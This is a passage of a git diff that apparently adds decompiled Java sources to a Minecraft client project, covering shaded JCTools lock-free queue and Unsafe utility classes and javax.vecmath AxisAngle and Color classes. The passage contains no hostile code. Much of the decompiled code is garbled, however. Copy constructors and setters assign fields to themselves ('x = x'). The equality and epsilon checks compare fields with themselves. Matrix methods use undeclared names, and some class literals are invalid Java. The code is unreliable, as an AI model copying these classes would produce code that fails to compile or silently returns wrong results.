+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class MpscLinkedAtomicQueue<E>
+  extends BaseLinkedAtomicQueue<E>
+{
+  public MpscLinkedAtomicQueue()
+  {
+    LinkedQueueAtomicNode<E> node = new LinkedQueueAtomicNode();
+    spConsumerNode(node);
+    xchgProducerNode(node);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final boolean offer(E e)
+  {
+    if (null == e) {
+      throw new NullPointerException();
+    }
+    LinkedQueueAtomicNode<E> nextNode = new LinkedQueueAtomicNode(e);
+    LinkedQueueAtomicNode<E> prevProducerNode = xchgProducerNode(nextNode);
+    
+
+    prevProducerNode.soNext(nextNode);
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final E poll()
+  {
+    LinkedQueueAtomicNode<E> currConsumerNode = lpConsumerNode();
+    LinkedQueueAtomicNode<E> nextNode = currConsumerNode.lvNext();
+    if (nextNode != null) {
+      return getSingleConsumerNodeValue(currConsumerNode, nextNode);
+    }
+    if (currConsumerNode != lvProducerNode())
+    {
+      while ((nextNode = currConsumerNode.lvNext()) == null) {}
+      
+
+      return getSingleConsumerNodeValue(currConsumerNode, nextNode);
+    }
+    return null;
+  }
+  
+  public final E peek()
+  {
+    LinkedQueueAtomicNode<E> currConsumerNode = lpConsumerNode();
+    LinkedQueueAtomicNode<E> nextNode = currConsumerNode.lvNext();
+    if (nextNode != null) {
+      return nextNode.lpValue();
+    }
+    if (currConsumerNode != lvProducerNode())
+    {
+      while ((nextNode = currConsumerNode.lvNext()) == null) {}
+      
+      return nextNode.lpValue();
+    }
+    return null;
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/atomic/SpscLinkedAtomicQueue.java b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/atomic/SpscLinkedAtomicQueue.java
new file mode 100644
index 0000000..7d2656a
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/atomic/SpscLinkedAtomicQueue.java
@@ -0,0 +1,99 @@
+package io.netty.util.internal.shaded.org.jctools.queues.atomic;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class SpscLinkedAtomicQueue<E>
+  extends BaseLinkedAtomicQueue<E>
+{
+  public SpscLinkedAtomicQueue()
+  {
+    LinkedQueueAtomicNode<E> node = new LinkedQueueAtomicNode();
+    spProducerNode(node);
+    spConsumerNode(node);
+    node.soNext(null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public boolean offer(E e)
+  {
+    if (null == e) {
+      throw new NullPointerException();
+    }
+    LinkedQueueAtomicNode<E> nextNode = new LinkedQueueAtomicNode(e);
+    lpProducerNode().soNext(nextNode);
+    spProducerNode(nextNode);
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public E poll()
+  {
+    LinkedQueueAtomicNode<E> currConsumerNode = lpConsumerNode();
+    LinkedQueueAtomicNode<E> nextNode = currConsumerNode.lvNext();
+    if (nextNode != null) {
+      return getSingleConsumerNodeValue(currConsumerNode, nextNode);
+    }
+    return null;
+  }
+  
+  public E peek()
+  {
+    LinkedQueueAtomicNode<E> nextNode = lpConsumerNode().lvNext();
+    if (nextNode != null) {
+      return nextNode.lpValue();
+    }
+    return null;
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/shaded/org/jctools/util/JvmInfo.java b/src/minecraft/io/netty/util/internal/shaded/org/jctools/util/JvmInfo.java
new file mode 100644
index 0000000..fabd50c
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/shaded/org/jctools/util/JvmInfo.java
@@ -0,0 +1,7 @@
+package io.netty.util.internal.shaded.org.jctools.util;
+import sun.misc.Unsafe;
+
+public abstract interface JvmInfo { public static final int CACHE_LINE_SIZE = Integer.getInteger("jctools.cacheLineSize", 64).intValue();
+  public static final int PAGE_SIZE = UnsafeAccess.UNSAFE.pageSize();
+  public static final int CPUs = Runtime.getRuntime().availableProcessors();
+}
diff --git a/src/minecraft/io/netty/util/internal/shaded/org/jctools/util/Pow2.java b/src/minecraft/io/netty/util/internal/shaded/org/jctools/util/Pow2.java
new file mode 100644
index 0000000..16c16c8
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/shaded/org/jctools/util/Pow2.java
@@ -0,0 +1,60 @@
+package io.netty.util.internal.shaded.org.jctools.util;
+
+
+
+
+
+
+
+
+public final class Pow2
+{
+  public static final int MAX_POW2 = 1073741824;
+  
+
+
+
+
+
+
+
+  private Pow2() {}
+  
+
+
+
+
+
+
+  public static int roundToPowerOfTwo(int value)
+  {
+    if (value > 1073741824) {
+      throw new IllegalArgumentException("There is no larger power of 2 int for value:" + value + " since it exceeds 2^31.");
+    }
+    int nextPow2 = 1 << 32 - Integer.numberOfLeadingZeros(value - 1);
+    return nextPow2;
+  }
+  
+
+
+
+  public static boolean isPowerOfTwo(int value)
+  {
+    return (value & value - 1) == 0;
+  }
+  
+
+
+
+
+
+
+
+  public static long align(long value, int alignment)
+  {
+    if (!isPowerOfTwo(alignment)) {
+      throw new IllegalArgumentException("alignment must be a power of 2:" + alignment);
+    }
+    return value + (alignment - 1) & (alignment - 1 ^ 0xFFFFFFFF);
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/shaded/org/jctools/util/UnsafeAccess.java b/src/minecraft/io/netty/util/internal/shaded/org/jctools/util/UnsafeAccess.java
new file mode 100644
index 0000000..88b83d2
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/shaded/org/jctools/util/UnsafeAccess.java
@@ -0,0 +1,55 @@
+package io.netty.util.internal.shaded.org.jctools.util;
+
+import java.lang.reflect.Field;
+import sun.misc.Unsafe;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class UnsafeAccess
+{
+  public static final boolean SUPPORTS_GET_AND_SET;
+  public static final Unsafe UNSAFE;
+  
+  public UnsafeAccess() {}
+  
+  static
+  {
+    try
+    {
+      Field field = Unsafe.class.getDeclaredField("theUnsafe");
+      field.setAccessible(true);
+      UNSAFE = (Unsafe)field.get(null);
+    } catch (Exception e) {
+      SUPPORTS_GET_AND_SET = false;
+      throw new RuntimeException(e);
+    }
+    boolean getAndSetSupport = false;
+    try {
+      Unsafe.class.getMethod("getAndSetObject", new Class[] { Object.class, Long.TYPE, Object.class });
+      getAndSetSupport = true;
+    }
+    catch (Exception localException1) {}
+    SUPPORTS_GET_AND_SET = getAndSetSupport;
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/shaded/org/jctools/util/UnsafeRefArrayAccess.java b/src/minecraft/io/netty/util/internal/shaded/org/jctools/util/UnsafeRefArrayAccess.java
new file mode 100644
index 0000000..ea6ca85
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/shaded/org/jctools/util/UnsafeRefArrayAccess.java
@@ -0,0 +1,106 @@
+package io.netty.util.internal.shaded.org.jctools.util;
+
+import sun.misc.Unsafe;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class UnsafeRefArrayAccess
+{
+  static
+  {
+    int scale = UnsafeAccess.UNSAFE.arrayIndexScale([Ljava.lang.Object.class);
+    if (4 == scale) {
+      REF_ELEMENT_SHIFT = 2;
+    } else if (8 == scale) {
+      REF_ELEMENT_SHIFT = 3;
+    } else
+      throw new IllegalStateException("Unknown pointer size"); }
+  
+  public static final long REF_ARRAY_BASE = UnsafeAccess.UNSAFE.arrayBaseOffset([Ljava.lang.Object.class);
+  
+
+
+
+  public static final int REF_ELEMENT_SHIFT;
+  
+
+
+
+
+  public static <E> void spElement(E[] buffer, long offset, E e)
+  {
+    UnsafeAccess.UNSAFE.putObject(buffer, offset, e);
+  }
+  
+
+
+
+
+
+
+  public static <E> void soElement(E[] buffer, long offset, E e)
+  {
+    UnsafeAccess.UNSAFE.putOrderedObject(buffer, offset, e);
+  }
+  
+
+
+
+
+
+
+
+  public static <E> E lpElement(E[] buffer, long offset)
+  {
+    return UnsafeAccess.UNSAFE.getObject(buffer, offset);
+  }
+  
+
+
+
+
+
+
+
+  public static <E> E lvElement(E[] buffer, long offset)
+  {
+    return UnsafeAccess.UNSAFE.getObjectVolatile(buffer, offset);
+  }
+  
+
+
+
+  public static long calcElementOffset(long index)
+  {
+    return REF_ARRAY_BASE + (index << REF_ELEMENT_SHIFT);
+  }
+  
+  private UnsafeRefArrayAccess() {}
+}
diff --git a/src/minecraft/javax/vecmath/AxisAngle4d.java b/src/minecraft/javax/vecmath/AxisAngle4d.java
new file mode 100644
index 0000000..9db009c
--- /dev/null
+++ b/src/minecraft/javax/vecmath/AxisAngle4d.java
@@ -0,0 +1,651 @@
+package javax.vecmath;
+
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class AxisAngle4d
+  implements Serializable, Cloneable
+{
+  static final long serialVersionUID = 3644296204459140589L;
+  public double x;
+  public double y;
+  public double z;
+  public double angle;
+  static final double EPS = 1.0E-12D;
+  
+  public AxisAngle4d(double x, double y, double z, double angle)
+  {
+    this.x = x;
+    this.y = y;
+    this.z = z;
+    this.angle = angle;
+  }
+  
+
+
+
+
+
+
+  public AxisAngle4d(double[] a)
+  {
+    x = a[0];
+    y = a[1];
+    z = a[2];
+    angle = a[3];
+  }
+  
+
+
+
+  public AxisAngle4d(AxisAngle4d a1)
+  {
+    x = x;
+    y = y;
+    z = z;
+    angle = angle;
+  }
+  
+
+
+
+
+
+
+  public AxisAngle4d(AxisAngle4f a1)
+  {
+    x = x;
+    y = y;
+    z = z;
+    angle = angle;
+  }
+  
+
+
+
+
+
+
+
+
+  public AxisAngle4d(Vector3d axis, double angle)
+  {
+    x = x;
+    y = y;
+    z = z;
+    this.angle = angle;
+  }
+  
+
+
+
+
+  public AxisAngle4d()
+  {
+    x = 0.0D;
+    y = 0.0D;
+    z = 1.0D;
+    angle = 0.0D;
+  }
+  
+
+
+
+
+
+
+
+
+  public final void set(double x, double y, double z, double angle)
+  {
+    this.x = x;
+    this.y = y;
+    this.z = z;
+    this.angle = angle;
+  }
+  
+
+
+
+
+
+  public final void set(double[] a)
+  {
+    x = a[0];
+    y = a[1];
+    z = a[2];
+    angle = a[3];
+  }
+  
+
+
+
+
+
+  public final void set(AxisAngle4d a1)
+  {
+    x = x;
+    y = y;
+    z = z;
+    angle = angle;
+  }
+  
+
+
+
+
+
+  public final void set(AxisAngle4f a1)
+  {
+    x = x;
+    y = y;
+    z = z;
+    angle = angle;
+  }
+  
+
+
+
+
+
+
+
+
+  public final void set(Vector3d axis, double angle)
+  {
+    x = x;
+    y = y;
+    z = z;
+    this.angle = angle;
+  }
+  
+
+
+
+
+
+
+  public final void get(double[] a)
+  {
+    a[0] = x;
+    a[1] = y;
+    a[2] = z;
+    a[3] = angle;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final void set(Matrix4f m1)
+  {
+    Matrix3d m3d = new Matrix3d();
+    
+    m1.get(m3d);
+    
+    x = ((float)(m21 - m12));
+    y = ((float)(m02 - m20));
+    z = ((float)(m10 - m01));
+    double mag = x * x + y * y + z * z;
+    
+    if (mag > 1.0E-12D) {
+      mag = Math.sqrt(mag);
+      double sin = 0.5D * mag;
+      double cos = 0.5D * (m00 + m11 + m22 - 1.0D);
+      
+      angle = ((float)Math.atan2(sin, cos));
+      
+      double invMag = 1.0D / mag;
+      x *= invMag;
+      y *= invMag;
+      z *= invMag;
+    } else {
+      x = 0.0D;
+      y = 1.0D;
+      z = 0.0D;
+      angle = 0.0D;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final void set(Matrix4d m1)
+  {
+    Matrix3d m3d = new Matrix3d();
+    
+    m1.get(m3d);
+    
+    x = ((float)(m21 - m12));
+    y = ((float)(m02 - m20));
+    z = ((float)(m10 - m01));
+    
+    double mag = x * x + y * y + z * z;
+    
+    if (mag > 1.0E-12D) {
+      mag = Math.sqrt(mag);
+      
+      double sin = 0.5D * mag;
+      double cos = 0.5D * (m00 + m11 + m22 - 1.0D);
+      angle = ((float)Math.atan2(sin, cos));
+      
+      double invMag = 1.0D / mag;
+      x *= invMag;
+      y *= invMag;
+      z *= invMag;
+    } else {
+      x = 0.0D;
+      y = 1.0D;
+      z = 0.0D;
+      angle = 0.0D;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public final void set(Matrix3f m1)
+  {
+    x = (m21 - m12);
+    y = (m02 - m20);
+    z = (m10 - m01);
+    double mag = x * x + y * y + z * z;
+    
+    if (mag > 1.0E-12D) {
+      mag = Math.sqrt(mag);
+      
+      double sin = 0.5D * mag;
+      double cos = 0.5D * (m00 + m11 + m22 - 1.0D);
+      angle = ((float)Math.atan2(sin, cos));
+      
+      double invMag = 1.0D / mag;
+      x *= invMag;
+      y *= invMag;
+      z *= invMag;
+    } else {
+      x = 0.0D;
+      y = 1.0D;
+      z = 0.0D;
+      angle = 0.0D;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public final void set(Matrix3d m1)
+  {
+    x = ((float)(m21 - m12));
+    y = ((float)(m02 - m20));
+    z = ((float)(m10 - m01));
+    
+    double mag = x * x + y * y + z * z;
+    
+    if (mag > 1.0E-12D) {
+      mag = Math.sqrt(mag);
+      
+      double sin = 0.5D * mag;
+      double cos = 0.5D * (m00 + m11 + m22 - 1.0D);
+      
+      angle = ((float)Math.atan2(sin, cos));
+      
+      double invMag = 1.0D / mag;
+      x *= invMag;
+      y *= invMag;
+      z *= invMag;
+    } else {
+      x = 0.0D;
+      y = 1.0D;
+      z = 0.0D;
+      angle = 0.0D;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public final void set(Quat4f q1)
+  {
+    double mag = x * x + y * y + z * z;
+    
+    if (mag > 1.0E-12D) {
+      mag = Math.sqrt(mag);
+      double invMag = 1.0D / mag;
+      
+      x = (x * invMag);
+      y = (y * invMag);
+      z = (z * invMag);
+      angle = (2.0D * Math.atan2(mag, w));
+    } else {
+      x = 0.0D;
+      y = 1.0D;
+      z = 0.0D;
+      angle = 0.0D;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public final void set(Quat4d q1)
+  {
+    double mag = x * x + y * y + z * z;
+    
+    if (mag > 1.0E-12D) {
+      mag = Math.sqrt(mag);
+      double invMag = 1.0D / mag;
+      
+      x = (x * invMag);
+      y = (y * invMag);
+      z = (z * invMag);
+      angle = (2.0D * Math.atan2(mag, w));
+    } else {
+      x = 0.0D;
+      y = 1.0D;
+      z = 0.0D;
+      angle = 0.0D;
+    }
+  }
+  
+
+
+
+
+
+  public String toString()
+  {
+    return "(" + x + ", " + y + ", " + z + ", " + angle + ")";
+  }
+  
+
+
+
+
+
+
+  public boolean equals(AxisAngle4d a1)
+  {
+    try
+    {
+      return (x == x) && (y == y) && (z == z) && (angle == angle);
+    }
+    catch (NullPointerException e2) {}
+    return false;
+  }
+  
+
+
+
+
+
+
+  public boolean equals(Object o1)
+  {
+    try
+    {
+      AxisAngle4d a2 = (AxisAngle4d)o1;
+      return (x == x) && (y == y) && (z == z) && (angle == angle);
+    }
+    catch (NullPointerException e2) {
+      return false; } catch (ClassCastException e1) {}
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public boolean epsilonEquals(AxisAngle4d a1, double epsilon)
+  {
+    double diff = x - x;
+    if ((diff < 0.0D ? -diff : diff) > epsilon) { return false;
+    }
+    diff = y - y;
+    if ((diff < 0.0D ? -diff : diff) > epsilon) { return false;
+    }
+    diff = z - z;
+    if ((diff < 0.0D ? -diff : diff) > epsilon) { return false;
+    }
+    diff = angle - angle;
+    if ((diff < 0.0D ? -diff : diff) > epsilon) { return false;
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+  public int hashCode()
+  {
+    long bits = 1L;
+    bits = 31L * bits + VecMathUtil.doubleToLongBits(x);
+    bits = 31L * bits + VecMathUtil.doubleToLongBits(y);
+    bits = 31L * bits + VecMathUtil.doubleToLongBits(z);
+    bits = 31L * bits + VecMathUtil.doubleToLongBits(angle);
+    return (int)(bits ^ bits >> 32);
+  }
+  
+
+
+
+
+
+
+
+  public Object clone()
+  {
+    try
+    {
+      return super.clone();
+    }
+    catch (CloneNotSupportedException e) {
+      throw new InternalError();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public final double getAngle()
+  {
+    return angle;
+  }
+  
+
+
+
+
+
+
+
+
+  public final void setAngle(double angle)
+  {
+    this.angle = angle;
+  }
+  
+
+
+
+
+
+
+
+  public double getX()
+  {
+    return x;
+  }
+  
+
+
+
+
+
+
+
+  public final void setX(double x)
+  {
+    this.x = x;
+  }
+  
+
+
+
+
+
+
+
+  public final double getY()
+  {
+    return y;
+  }
+  
+
+
+
+
+
+
+
+  public final void setY(double y)
+  {
+    this.y = y;
+  }
+  
+
+
+
+
+
+
+
+  public double getZ()
+  {
+    return z;
+  }
+  
+
+
+
+
+
+
+
+  public final void setZ(double z)
+  {
+    this.z = z;
+  }
+}
diff --git a/src/minecraft/javax/vecmath/AxisAngle4f.java b/src/minecraft/javax/vecmath/AxisAngle4f.java
new file mode 100644
index 0000000..b36f55e
--- /dev/null
+++ b/src/minecraft/javax/vecmath/AxisAngle4f.java
@@ -0,0 +1,648 @@
+package javax.vecmath;
+
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class AxisAngle4f
+  implements Serializable, Cloneable
+{
+  static final long serialVersionUID = -163246355858070601L;
+  public float x;
+  public float y;
+  public float z;
+  public float angle;
+  static final double EPS = 1.0E-6D;
+  
+  public AxisAngle4f(float x, float y, float z, float angle)
+  {
+    this.x = x;
+    this.y = y;
+    this.z = z;
+    this.angle = angle;
+  }
+  
+
+
+
+
+
+  public AxisAngle4f(float[] a)
+  {
+    x = a[0];
+    y = a[1];
+    z = a[2];
+    angle = a[3];
+  }
+  
+
+
+
+
+
+
+  public AxisAngle4f(AxisAngle4f a1)
+  {
+    x = x;
+    y = y;
+    z = z;
+    angle = angle;
+  }
+  
+
+
+
+
+
+  public AxisAngle4f(AxisAngle4d a1)
+  {
+    x = ((float)x);
+    y = ((float)y);
+    z = ((float)z);
+    angle = ((float)angle);
+  }
+  
+
+
+
+
+
+
+
+
+  public AxisAngle4f(Vector3f axis, float angle)
+  {
+    x = x;
+    y = y;
+    z = z;
+    this.angle = angle;
+  }
+  
+
+
+
+
+  public AxisAngle4f()
+  {
+    x = 0.0F;
+    y = 0.0F;
+    z = 1.0F;
+    angle = 0.0F;
+  }
+  
+
+
+
+
+
+
+
+
+  public final void set(float x, float y, float z, float angle)
+  {
+    this.x = x;
+    this.y = y;
+    this.z = z;
+    this.angle = angle;
+  }
+  
+
+
+
+
+
+
+  public final void set(float[] a)
+  {
+    x = a[0];
+    y = a[1];
+    z = a[2];
+    angle = a[3];
+  }
+  
+
+
+
+
+
+  public final void set(AxisAngle4f a1)
+  {
+    x = x;
+    y = y;
+    z = z;
+    angle = angle;
+  }
+  
+
+
+
+
+
+  public final void set(AxisAngle4d a1)
+  {
+    x = ((float)x);
+    y = ((float)y);
+    z = ((float)z);
+    angle = ((float)angle);
+  }
+  
+
+
+
+
+
+
+
+
+  public final void set(Vector3f axis, float angle)
+  {
+    x = x;
+    y = y;
+    z = z;
+    this.angle = angle;
+  }
+  
+
+
+
+
+
+  public final void get(float[] a)
+  {
+    a[0] = x;
+    a[1] = y;
+    a[2] = z;
+    a[3] = angle;
+  }
+  
+
+
+
+
+
+
+
+
+  public final void set(Quat4f q1)
+  {
+    double mag = x * x + y * y + z * z;
+    
+    if (mag > 1.0E-6D) {
+      mag = Math.sqrt(mag);
+      double invMag = 1.0D / mag;
+      
+      x = ((float)(x * invMag));
+      y = ((float)(y * invMag));
+      z = ((float)(z * invMag));
+      angle = ((float)(2.0D * Math.atan2(mag, w)));
+    } else {
+      x = 0.0F;
+      y = 1.0F;
+      z = 0.0F;
+      angle = 0.0F;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public final void set(Quat4d q1)
+  {
+    double mag = x * x + y * y + z * z;
+    
+    if (mag > 1.0E-6D) {
+      mag = Math.sqrt(mag);
+      double invMag = 1.0D / mag;
+      
+      x = ((float)(x * invMag));
+      y = ((float)(y * invMag));
+      z = ((float)(z * invMag));
+      angle = ((float)(2.0D * Math.atan2(mag, w)));
+    } else {
+      x = 0.0F;
+      y = 1.0F;
+      z = 0.0F;
+      angle = 0.0F;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public final void set(Matrix4f m1)
+  {
+    Matrix3f m3f = new Matrix3f();
+    
+    m1.get(m3f);
+    
+    x = (m21 - m12);
+    y = (m02 - m20);
+    z = (m10 - m01);
+    double mag = x * x + y * y + z * z;
+    
+    if (mag > 1.0E-6D) {
+      mag = Math.sqrt(mag);
+      double sin = 0.5D * mag;
+      double cos = 0.5D * (m00 + m11 + m22 - 1.0D);
+      
+      angle = ((float)Math.atan2(sin, cos));
+      double invMag = 1.0D / mag;
+      x = ((float)(x * invMag));
+      y = ((float)(y * invMag));
+      z = ((float)(z * invMag));
+    } else {
+      x = 0.0F;
+      y = 1.0F;
+      z = 0.0F;
+      angle = 0.0F;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public final void set(Matrix4d m1)
+  {
+    Matrix3d m3d = new Matrix3d();
+    
+    m1.get(m3d);
+    
+
+    x = ((float)(m21 - m12));
+    y = ((float)(m02 - m20));
+    z = ((float)(m10 - m01));
+    double mag = x * x + y * y + z * z;
+    
+    if (mag > 1.0E-6D) {
+      mag = Math.sqrt(mag);
+      double sin = 0.5D * mag;
+      double cos = 0.5D * (m00 + m11 + m22 - 1.0D);
+      angle = ((float)Math.atan2(sin, cos));
+      
+      double invMag = 1.0D / mag;
+      x = ((float)(x * invMag));
+      y = ((float)(y * invMag));
+      z = ((float)(z * invMag));
+    } else {
+      x = 0.0F;
+      y = 1.0F;
+      z = 0.0F;
+      angle = 0.0F;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final void set(Matrix3f m1)
+  {
+    x = (m21 - m12);
+    y = (m02 - m20);
+    z = (m10 - m01);
+    double mag = x * x + y * y + z * z;
+    if (mag > 1.0E-6D) {
+      mag = Math.sqrt(mag);
+      double sin = 0.5D * mag;
+      double cos = 0.5D * (m00 + m11 + m22 - 1.0D);
+      
+      angle = ((float)Math.atan2(sin, cos));
+      
+      double invMag = 1.0D / mag;
+      x = ((float)(x * invMag));
+      y = ((float)(y * invMag));
+      z = ((float)(z * invMag));
+    } else {
+      x = 0.0F;
+      y = 1.0F;
+      z = 0.0F;
+      angle = 0.0F;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public final void set(Matrix3d m1)
+  {
+    x = ((float)(m21 - m12));
+    y = ((float)(m02 - m20));
+    z = ((float)(m10 - m01));
+    double mag = x * x + y * y + z * z;
+    
+    if (mag > 1.0E-6D) {
+      mag = Math.sqrt(mag);
+      double sin = 0.5D * mag;
+      double cos = 0.5D * (m00 + m11 + m22 - 1.0D);
+      
+      angle = ((float)Math.atan2(sin, cos));
+      
+      double invMag = 1.0D / mag;
+      x = ((float)(x * invMag));
+      y = ((float)(y * invMag));
+      z = ((float)(z * invMag));
+    } else {
+      x = 0.0F;
+      y = 1.0F;
+      z = 0.0F;
+      angle = 0.0F;
+    }
+  }
+  
+
+
+
+
+
+  public String toString()
+  {
+    return "(" + x + ", " + y + ", " + z + ", " + angle + ")";
+  }
+  
+
+
+
+
+
+
+  public boolean equals(AxisAngle4f a1)
+  {
+    try
+    {
+      return (x == x) && (y == y) && (z == z) && (angle == angle);
+    }
+    catch (NullPointerException e2) {}
+    return false;
+  }
+  
+
+
+
+
+
+
+
+  public boolean equals(Object o1)
+  {
+    try
+    {
+      AxisAngle4f a2 = (AxisAngle4f)o1;
+      return (x == x) && (y == y) && (z == z) && (angle == angle);
+    }
+    catch (NullPointerException e2) {
+      return false; } catch (ClassCastException e1) {}
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public boolean epsilonEquals(AxisAngle4f a1, float epsilon)
+  {
+    float diff = x - x;
+    if ((diff < 0.0F ? -diff : diff) > epsilon) { return false;
+    }
+    diff = y - y;
+    if ((diff < 0.0F ? -diff : diff) > epsilon) { return false;
+    }
+    diff = z - z;
+    if ((diff < 0.0F ? -diff : diff) > epsilon) { return false;
+    }
+    diff = angle - angle;
+    if ((diff < 0.0F ? -diff : diff) > epsilon) { return false;
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public int hashCode()
+  {
+    long bits = 1L;
+    bits = 31L * bits + VecMathUtil.floatToIntBits(x);
+    bits = 31L * bits + VecMathUtil.floatToIntBits(y);
+    bits = 31L * bits + VecMathUtil.floatToIntBits(z);
+    bits = 31L * bits + VecMathUtil.floatToIntBits(angle);
+    return (int)(bits ^ bits >> 32);
+  }
+  
+
+
+
+
+
+
+
+  public Object clone()
+  {
+    try
+    {
+      return super.clone();
+    }
+    catch (CloneNotSupportedException e) {
+      throw new InternalError();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public final float getAngle()
+  {
+    return angle;
+  }
+  
+
+
+
+
+
+
+
+
+  public final void setAngle(float angle)
+  {
+    this.angle = angle;
+  }
+  
+
+
+
+
+
+
+
+  public final float getX()
+  {
+    return x;
+  }
+  
+
+
+
+
+
+
+
+  public final void setX(float x)
+  {
+    this.x = x;
+  }
+  
+
+
+
+
+
+
+
+  public final float getY()
+  {
+    return y;
+  }
+  
+
+
+
+
+
+
+
+  public final void setY(float y)
+  {
+    this.y = y;
+  }
+  
+
+
+
+
+
+
+
+  public final float getZ()
+  {
+    return z;
+  }
+  
+
+
+
+
+
+
+
+  public final void setZ(float z)
+  {
+    this.z = z;
+  }
+}
diff --git a/src/minecraft/javax/vecmath/Color3b.java b/src/minecraft/javax/vecmath/Color3b.java
new file mode 100644
index 0000000..9fa2eb7
--- /dev/null
+++ b/src/minecraft/javax/vecmath/Color3b.java
@@ -0,0 +1,153 @@
+package javax.vecmath;
+
+import java.awt.Color;
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Color3b
+  extends Tuple3b
+  implements Serializable
+{
+  static final long serialVersionUID = 6632576088353444794L;
+  
+  public Color3b(byte c1, byte c2, byte c3)
+  {
+    super(c1, c2, c3);
+  }
+  
+
+
+
+
+  public Color3b(byte[] c)
+  {
+    super(c);
+  }
+  
+
+
+
+
+  public Color3b(Color3b c1)
+  {
+    super(c1);
+  }
+  
+
+
+
+
+  public Color3b(Tuple3b t1)
+  {
+    super(t1);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public Color3b(Color color)
+  {
+    super((byte)color.getRed(), 
+      (byte)color.getGreen(), 
+      (byte)color.getBlue());
+  }
+  
+
+
+
+
+
+
+
+
+  public Color3b() {}
+  
+
+
+
+
+
+
+
+
+  public final void set(Color color)
+  {
+    x = ((byte)color.getRed());
+    y = ((byte)color.getGreen());
+    z = ((byte)color.getBlue());
+  }
+  
+
+
+
+
+
+
+
+
+  public final Color get()
+  {
+    int r = x & 0xFF;
+    int g = y & 0xFF;
+    int b = z & 0xFF;
+    
+    return new Color(r, g, b);
+  }
+}
diff --git a/src/minecraft/javax/vecmath/Color3f.java b/src/minecraft/javax/vecmath/Color3f.java
new file mode 100644
index 0000000..7adedca
--- /dev/null
+++ b/src/minecraft/javax/vecmath/Color3f.java
@@ -0,0 +1,157 @@
+package javax.vecmath;
+
+import java.awt.Color;
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Color3f
+  extends Tuple3f
+  implements Serializable
+{
+  static final long serialVersionUID = -1861792981817493659L;
+  
+  public Color3f(float x, float y, float z)
+  {
+    super(x, y, z);
+  }
+  
+
+
+
+
+  public Color3f(float[] v)
+  {
+    super(v);
+  }
+  
+
+
+
+
+  public Color3f(Color3f v1)
+  {
+    super(v1);
+  }
+  
+
+
+
+
+  public Color3f(Tuple3f t1)
+  {
+    super(t1);
+  }
+  
+
+
+
+
+  public Color3f(Tuple3d t1)
+  {
+    super(t1);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public Color3f(Color color)
+  {
+    super(color.getRed() / 255.0F, color
+      .getGreen() / 255.0F, color
+      .getBlue() / 255.0F);
+  }
+  
+
+
+
+
+
+
+
+
+  public Color3f() {}
+  
+
+
+
+
+
+
+
+
+  public final void set(Color color)
+  {
+    x = (color.getRed() / 255.0F);
+    y = (color.getGreen() / 255.0F);
+    z = (color.getBlue() / 255.0F);
+  }
+  
+
+
+
+
+
+
+
+
+  public final Color get()
+  {
+    int r = Math.round(x * 255.0F);
+    int g = Math.round(y * 255.0F);
+    int b = Math.round(z * 255.0F);
+    
+    return new Color(r, g, b);
+  }
+}
diff --git a/src/minecraft/javax/vecmath/Color4b.java b/src/minecraft/javax/vecmath/Color4b.java
new file mode 100644
index 0000000..6c681c1
--- /dev/null
